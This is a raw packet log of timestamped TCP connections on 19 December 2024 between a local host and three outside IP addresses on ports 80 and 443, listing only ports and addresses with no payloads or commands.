Dec 19, 2024 08:09:17.307965994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.307991982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.308062077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.308718920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.308789968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.308804989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.308868885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.309578896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.309691906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.309756994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.310375929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.310489893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.457726002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.457758904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.457843065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.457843065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.457948923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.458000898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.458046913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.458127975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.458965063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.459199905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.459223986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.459449053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.460022926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.460051060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.460078955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.460154057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.460521936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.460613966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.460634947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.460740089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.461369038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.461481094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.461836100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.462235928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.462333918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.462471008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.463098049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.463167906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.463195086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.463937998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.464030981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.464056969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.464803934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.464904070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.464907885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.465029955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.465642929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.465754986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.465955019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.466638088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.466692924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.466717958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.467355013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.467425108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.467425108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.467454910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.467528105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.468203068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.468327045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.468353033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.469084024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.469132900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.469156027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.469254971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.469921112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.469999075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.470022917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.470271111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.470781088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.470875025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.470880032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.470994949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.471625090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.471733093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.471760988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.471906900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.472474098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.472578049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.472600937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.473345995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.473431110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.473454952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.473633051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.474172115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.474298000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.474319935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.474917889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.475033998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.475121975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.475169897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.475275040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.475876093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.475986004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.476001978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.476087093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.476788044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.476897001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.476905107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.477021933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.477605104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.477768898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.477797031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.478467941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.478585005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.478605986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.478749037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.479516029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.479608059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.479728937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.480241060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.480305910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.480417967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.481079102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.481309891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.481333017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.481884003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.482007027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.482031107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.482161045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.482709885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.482882977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.482888937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.482964993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.483603001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.483696938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.483850956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.484410048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.484520912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.484633923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.485251904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.485378027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.485547066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.486145020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.486314058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.486320019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.486376047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.486376047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.487057924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.487195015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.487219095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.487471104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.487855911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.487930059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.488050938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.488672972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.488795042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.488821030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.489556074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.489651918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.489672899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.489831924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.490395069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.490483999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.490521908 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.490890980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.491262913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.491349936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.491400957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.492122889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.492202044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.492227077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.492366076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.492933989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.493113041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.493285894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.493829966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.493916035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.493942022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.494663954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.494793892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.494817019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.494914055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.495527983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.495623112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.495640993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.495771885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.496361971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.496464968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.496491909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.497221947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.497318983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.497343063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.497539043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.498053074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.498167992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.498191118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.498929024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.499033928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.499042034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.499160051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.499783993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.499891043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.499891043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.500025988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.500633955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.500775099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.500798941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.501494884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.501594067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.501624107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.501807928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.502324104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.502424955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.649899006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.649975061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.650006056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.650072098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.650320053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.650496006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.650525093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.651119947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.651163101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.651326895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.651494026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.651603937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.651717901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.652385950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.652450085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.652476072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.652672052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.653192043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.653259039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.653285980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.654042959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.654135942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.654146910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.654225111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.655119896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.655138969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.655209064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.655210018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.655761957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.655934095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.655961990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.656066895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.656606913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.656712055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.656754971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.657476902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.657599926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.657608032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.657728910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.658416033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.658535004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.658560991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.658879995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.659240961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.659363985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.660007954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.660043001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.660115004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.660140991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.660876989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.660962105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.660989046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.661061049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.661722898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.661832094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.661859035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.662565947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.662663937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.662704945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.662825108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.663438082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.663538933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.663567066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.663769007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.664289951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.664405107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.664432049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.665131092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.665251017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.665280104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.665529013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.666021109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.666105986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.666131973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.666845083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.666871071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.666939020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.666965008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.667095900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.667701006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.667817116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.667867899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.667867899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:17.668524981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:17.668734074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:20.092226982 CET	49798	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:20.092642069 CET	49835	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:20.212182045 CET	80	49798	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:20.212197065 CET	80	49835	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:20.212272882 CET	49798	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:20.212321043 CET	49835	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:20.252053022 CET	49835	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:20.371676922 CET	80	49835	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:20.479633093 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:20.479688883 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:20.479782104 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:20.533824921 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:20.533848047 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:21.563492060 CET	80	49835	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:21.563581944 CET	49835	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:21.568239927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:21.568660975 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:21.688169003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:21.688210964 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:21.688239098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:21.688327074 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:21.689249992 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:21.808702946 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:22.268881083 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.269406080 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.269474983 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.271306038 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.271384954 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.273029089 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.273148060 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.285923958 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.285964012 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.336730957 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.605886936 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.605979919 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:22.606110096 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.626373053 CET	49837	443	192.168.2.6	98.85.100.80
Dec 19, 2024 08:09:22.626401901 CET	443	49837	98.85.100.80	192.168.2.6
Dec 19, 2024 08:09:23.013232946 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013263941 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013278961 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013334990 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013336897 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.013350964 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013377905 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.013398886 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.013478994 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013492107 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:23.013513088 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:23.013530016 CET	49839	80	192.168.2.6	31.41.244.11
